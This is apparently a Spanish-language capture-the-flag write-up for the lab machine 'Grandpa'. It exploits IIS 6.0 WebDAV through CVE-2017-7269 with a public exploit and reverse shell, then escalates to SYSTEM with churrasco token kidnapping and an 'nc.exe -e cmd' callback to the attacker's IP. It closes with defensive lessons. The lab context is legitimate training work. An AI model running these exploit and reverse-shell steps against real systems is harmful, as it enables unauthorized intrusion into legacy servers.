Grandpa
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El único puerto abierto es un IIS 6.0 con WebDAV. Esa versión arrastra CVE-2017-7269, un desbordamiento de búfer en la funciónScStoragePathFromUrlque da ejecución remota de código sin autenticación: una reverse shell comoNT AUTHORITY\NETWORK SERVICE. Ese usuario tieneSeImpersonatePrivilege, pero la máquina es un Windows Server 2003 y JuicyPotato no aplica; el exploit correcto para esa generación es churrasco (token kidnapping), que eleva aSYSTEM.
Reconocimiento
Escaneo inicial
Un ping de un paquete da la primera pista del sistema operativo por el TTL:
ping -c 1 10.10.10.14
64 bytes from 10.10.10.14: icmp_seq=1 ttl=127 time=175 msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El escaneo completo de puertos TCP (-p-) descubre un solo puerto abierto, el 80:
sudo nmap -p- --open --min-rate 5000 -n -Pn 10.10.10.14
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127extractPorts resume el fichero -oG y deja el puerto en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.10.14
Open ports: 80Un solo puerto, pero suficiente. El escaneo de versión (-sCV) revela un IIS muy antiguo:
nmap -p80 -sCV 10.10.10.14
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
|_http-title: Under Construction
| http-webdav-scan:
| Server Type: Microsoft-IIS/6.0
| WebDAV type: Unknown
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|_ Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, ...
| http-methods:
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsLa clave la da nmap: Microsoft IIS 6.0 con WebDAV habilitado. IIS 6.0 es el servidor web de Windows Server 2003, una pieza descatalogada hace más de una década.
IIS 6.0 - el vector
A diferencia de Granny (su gemela, donde se abusa de los métodos PUT/MOVE de WebDAV), aquí los scripts de nmap marcan los métodos PUT/DELETE pero resultan un falso positivo: no se puede subir nada. El vector real es la versión del servicio. Una búsqueda de "IIS 6.0" en searchsploit y en el navegador apunta a un fallo concreto:

searchsploit devuelve varias entradas de Remote Buffer Overflow, pero los módulos que sugiere no encajan bien con esta caja. Es más fiable buscar una PoC concreta en el navegador; la búsqueda "IIS 6.0 remote buffer overflow github exploit" apunta al repositorio g0rx/iis6-exploit-2017-CVE-2017-7269:

Shell como NETWORK SERVICE
CVE-2017-7269: WebDAV ScStoragePathFromUrl
CVE-2017-7269 es un desbordamiento de búfer en el componente WebDAV de IIS 6.0, concretamente en la función ScStoragePathFromUrl, que se dispara con una petición PROPFIND cuyo cabecera If: contiene una URL excesivamente larga. No requiere autenticación y permite ejecutar código con los privilegios del proceso de IIS.
Usamos el exploit público g0rx/iis6-exploit-2017-CVE-2017-7269. No hay que tomarlo como una caja negra: lo que hace internamente es armar esa PROPFIND con una cabecera If: de más de dos mil bytes que desborda el búfer, y detrás del relleno coloca shellcode que abre una reverse shell hacia la IP y puerto que le pasamos. Por eso recibe cuatro argumentos: IP y puerto del IIS, e IP y puerto de nuestro listener. Lo clonamos y lo renombramos para trabajar más cómodos:
git clone https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269.git
mv iis6-exploit-2017-CVE-2017-7269 iis6Exploit
Cloning into 'iis6-exploit-2017-CVE-2017-7269'...
remote: Enumerating objects: 6, done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 6 (from 1)
Receiving objects: 100% (6/6), done.
$ ls
iis6-exploit-2017-CVE-2017-7269Dentro, el fichero del exploit viene con espacios en el nombre ('iis6 reverse shell'), así que se renombra antes de nada. Ejecutarlo sin argumentos imprime la sintaxis, que es lo que dice qué hay que pasarle:
cd iis6Exploit
ls
mv 'iis6 reverse shell' iis6Exploit.py
python2 iis6Exploit.py
README.md 'iis6 reverse shell'
usage:iis6webdav.py targetip targetport reverseip reverseportCuatro parámetros: IP y puerto del objetivo, IP y puerto del atacante.
Con un listener de nc a la escucha, lo lanzamos con los cuatro parámetros. En la propia salida se ve la petición PROPFIND que arma con la cabecera If: gigante (el desbordamiento), y a la vez el listener recibe la conexión:
sudo rlwrap nc -nlvp 443
python2 iis6Exploit.py 10.10.10.14 80 10.10.16.4 443
PROPFIND / HTTP/1.1
Host: localhost
Content-Length: 1744
If: <http://localhost/aaaaaaa...
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.14] 1030
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:\windows\system32\inetsrv>whoami
nt authority\network serviceLa consola entra como nt authority\network service, el contexto del application pool de IIS.
Shell como SYSTEM
SeImpersonatePrivilege en un Windows Server 2003
Enumerando los privilegios del usuario aparece la joya habitual de las cuentas de servicio de IIS:
whoami /priv
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeImpersonatePrivilege suele explotarse con la familia Potato (JuicyPotato y derivados). Pero al mirar systeminfo aparece el matiz que define la caja:
OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version: 5.2.3790 Service Pack 2 Build 3790Windows Server 2003. Cotejándolo con la lista de CLSID soportados del repositorio de JuicyPotato, esa generación no aparece: JuicyPotato solo cubre de Windows Server 2008 R2 en adelante (depende de los CLSID y del servicio COM que abusa), así que no sirve aquí:

Buscando el exploit equivalente para esta generación, el primer resultado sigue siendo el de JuicyPotato:

Pero al abrirlo, lo que sirve no está en el cuerpo sino al final, en la sección Related: un artículo hermano sobre churrasco.exe.

Ese artículo describe churrasco.exe como la alternativa exacta: "JuicyPotato no es compatible con sistemas antiguos como Windows Server 2003 o Windows XP", y churrasco cubre justo ese hueco elevando de cuentas de servicio a NT AUTHORITY\SYSTEM:

El propio artículo enlaza el binario ya compilado, que se descarga en un clic:

Usamos entonces churrasco (repo).
Token kidnapping con churrasco
churrasco explota la técnica de token kidnapping: aprovecha SeImpersonatePrivilege para robar el token de un proceso que corre como SYSTEM y ejecutar un comando con esa identidad. Es la versión "antigua" del mismo abuso que después popularizaron los Potato.
Preparamos en local los dos binarios: churrasco.exe (descargado del repo) y un nc.exe, que localizamos en SecLists y copiamos al directorio de trabajo:
mv ~/Downloads/churrasco.exe .
locate nc.exe
cp ~/SecLists/Web-Shells/FuzzDB/nc.exe .
$ locate nc.exe
/home/krmena/SecLists/Web-Shells/FuzzDB/nc.exe
/home/krmena/machines/arctic/exploits/netcat/nc.exe
/home/krmena/machines/blue/exploits/nc.exe
/home/krmena/machines/blue/exploits/netcat/nc.exe
/home/krmena/machines/bounty/exploits/netcat/nc.exe
/home/krmena/machines/buff/content/nc.exe
/home/krmena/machines/devel/content/nc.exe
/usr/share/windows-resources/binaries/nc.exe
$ ls
churrasco.exe iis6Exploit nc.exeLos servimos por SMB (sin smb2support, por ser un Windows tan viejo) y, con un listener listo, le pedimos a churrasco que ejecute nc.exe como SYSTEM contra nuestra IP:
smbserver.py smbFolder $(pwd)
sudo rlwrap nc -nlvp 443En la víctima, copiamos churrasco.exe desde el recurso SMB y lo lanzamos pasándole el nc.exe accesible por SMB como comando a ejecutar:
copy \\10.10.16.4\smbFolder\churrasco.exe
.\churrasco.exe "\\10.10.16.4\smbFolder\nc.exe -e cmd 10.10.16.4 443"(Conviene ejecutarlo un par de veces: la máquina es lenta y a veces el primer intento no engancha.)

listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.14] 1035
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\TEMP>whoami
nt authority\systemLa reverse shell entra como NT AUTHORITY\SYSTEM. Con ese contexto leemos ambas flags (en la estructura de carpetas clásica Documents and Settings, abreviada como DOCUME~1):

C:\DOCUME~1>type Harry\Desktop\user.txt
bdff5ecb7c3cff817f2bedc146a5d869
C:\DOCUME~1>type Administrator\Desktop\root.txt
9359e905a2c35f861f6a57cecf28bb7bCadena de ataque
IIS 6.0 + WebDAV (80)
└─ CVE-2017-7269 (BOF en ScStoragePathFromUrl) ──► NETWORK SERVICE (user.txt Harry)
└─ SeImpersonatePrivilege en Windows Server 2003
└─ churrasco (token kidnapping) ──► NT AUTHORITY\SYSTEM (root.txt)Lecciones aprendidas
- La versión es la vulnerabilidad. Aquí no hubo enumeración de directorios ni fuzzing: el
nmapcantó "IIS 6.0" y eso bastó. El software descatalogado acumula CVEs críticas con exploit público. - El exploit de privesc depende de la versión de Windows.
SeImpersonatePrivilegese explota distinto según la generación: JuicyPotato de 2008 en adelante, churrasco para 2003/XP. Confirmarsysteminfoantes de elegir herramienta ahorra intentos fallidos. - WebDAV es superficie de ataque por sí mismo. Tanto el BOF de Grandpa como el abuso
PUT/MOVEde su gemela Granny nacen del mismo componente. Si no se usa, se deshabilita. - Los sistemas heredados no se parchean: se aíslan o se jubilan. Un Windows Server 2003 expuesto en 2017 (o después) es indefendible; la única mitigación real es sacarlo de producción.